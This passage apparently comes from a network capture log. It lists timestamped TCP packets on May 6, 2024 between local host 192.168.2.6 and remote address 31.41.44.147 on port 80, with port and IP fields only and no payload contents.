May 6, 2024 02:52:40.234769106 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:40.234877110 CEST	49709	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:40.235045910 CEST	49709	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:40.235097885 CEST	49709	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:40.495630980 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:40.495649099 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:40.495814085 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:40.496064901 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:40.496180058 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:40.496381998 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:40.594436884 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:40.594455004 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:40.594572067 CEST	49709	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:40.683619022 CEST	49709	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:40.944010019 CEST	80	49709	31.41.44.147	192.168.2.6
May 6, 2024 02:52:43.595019102 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:43.857517958 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:43.857686043 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:43.863915920 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.167375088 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.221414089 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.221450090 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.221497059 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.221517086 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.309515953 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.309644938 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.309648037 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.309703112 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.361118078 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.361227989 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.361238003 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.361273050 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.446191072 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.446211100 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.446225882 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.446239948 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.446289062 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.446316957 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.483799934 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.483870983 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.483947992 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.483959913 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.483974934 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.483987093 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.484006882 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.484019041 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.571896076 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.572068930 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.572226048 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.572238922 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.572251081 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.572269917 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.572297096 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.623730898 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.623815060 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.623840094 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.623852015 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.623882055 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.623898983 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.659692049 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.659800053 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.708666086 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.708684921 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.708698034 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.708709955 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.708731890 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.708846092 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.745496035 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.745553017 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.745568991 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.745599031 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.746284008 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.746299028 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.746313095 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.746332884 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.746351957 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.788184881 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.788237095 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.830200911 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.830250978 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.830358028 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.830414057 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.834188938 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.834242105 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.872760057 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.872777939 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.872827053 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.872838974 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.885912895 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.885981083 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.914771080 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.914983034 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.915062904 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.915122032 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.922082901 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.922137022 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.957432985 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.957528114 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:44.971045971 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:44.971105099 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.042509079 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.042567015 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.042577028 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.042610884 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.042619944 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.042633057 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.042659044 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.042676926 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.050340891 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.050421000 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.084619045 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.084702969 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.092600107 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.092659950 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.127084970 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.127141953 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.127286911 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.127330065 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.134870052 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.134924889 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.211848974 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.211874962 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.211898088 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.211929083 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.211940050 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.211950064 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.211992979 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.219862938 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.219917059 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.254082918 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.254138947 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.296956062 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.297035933 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.297070980 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.297085047 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.297113895 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.297136068 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.304574966 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.304625988 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.359657049 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.359672070 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.359724045 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.359740019 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.389219999 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.389269114 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.444945097 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.445040941 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.445041895 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.445086002 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.445173025 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.445192099 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.445219040 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.445234060 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.474031925 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.474088907 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.487258911 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.487343073 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.516443968 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.516521931 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.529766083 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.529827118 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.529875994 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.529926062 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.559098959 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.559179068 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.614635944 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.614734888 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.614777088 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.614790916 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.614818096 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.614836931 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.614901066 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.614950895 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.621766090 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.621840000 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.657300949 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.657424927 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.699714899 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.699734926 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.699784994 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.699798107 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.707063913 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.707124949 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.784524918 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.784543037 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.784555912 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.784591913 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.784678936 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.784718990 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.792040110 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.792115927 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.826724052 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.826797009 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.869087934 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.869170904 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.869221926 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.869235992 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.869272947 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.869287968 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.876915932 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.876987934 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.912105083 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.912144899 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.912158012 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.912168980 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.912180901 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.912198067 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.919609070 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.919656038 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.954359055 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.954425097 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.954551935 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.954595089 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.954757929 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.954806089 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.961916924 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.961993933 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.998136044 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.998215914 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:45.998249054 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:45.998290062 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.040472984 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.040550947 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.040649891 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.040699005 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.046763897 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.046813965 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.083723068 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.083807945 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.083812952 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.083849907 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.084073067 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.084086895 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.084117889 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.084140062 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.089066029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.089118958 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.126013994 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.126085997 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.126142025 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.126152992 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.126436949 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.126483917 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.126564980 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.126614094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.126920938 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.126971960 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.127187014 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.127232075 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.131382942 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.131441116 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.174679041 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.174699068 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.174712896 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.174726963 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.174738884 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.174751997 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.174899101 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.174899101 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.181960106 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.182043076 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.211026907 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.211095095 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.211234093 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.211390972 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.212574005 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.212632895 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.212699890 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.212764025 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.216979980 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.217027903 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.253582954 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.253631115 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.253644943 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.253671885 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.253865004 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.253879070 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.253907919 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.253931046 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.254836082 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.254848003 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.254879951 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.254894972 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.260562897 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.260613918 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.298082113 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.298141956 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.298176050 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.298216105 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.298388958 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.298402071 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.298427105 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.298444986 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.302699089 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.302793026 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.384995937 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385054111 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385099888 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.385113001 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385126114 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385138035 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385143042 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.385152102 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385164976 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.385184050 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385185003 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.385199070 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385222912 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.385247946 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.385402918 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385416031 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.385440111 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.385456085 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.388196945 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.388247013 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.427373886 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.427386999 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.427478075 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.427613974 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.427659035 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.427835941 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.427886963 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.428118944 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.428165913 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.437227964 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.437295914 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.469703913 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.469764948 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.469836950 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.469892979 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.470293999 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.470308065 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.470345020 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.470369101 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.474292040 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.474356890 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.512363911 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.512422085 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.512425900 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.512459993 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.512567043 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.512607098 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.512609959 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.512655020 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.512881994 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.512928963 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.515678883 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.515728951 CEST	49710	80	192.168.2.6	31.41.44.147
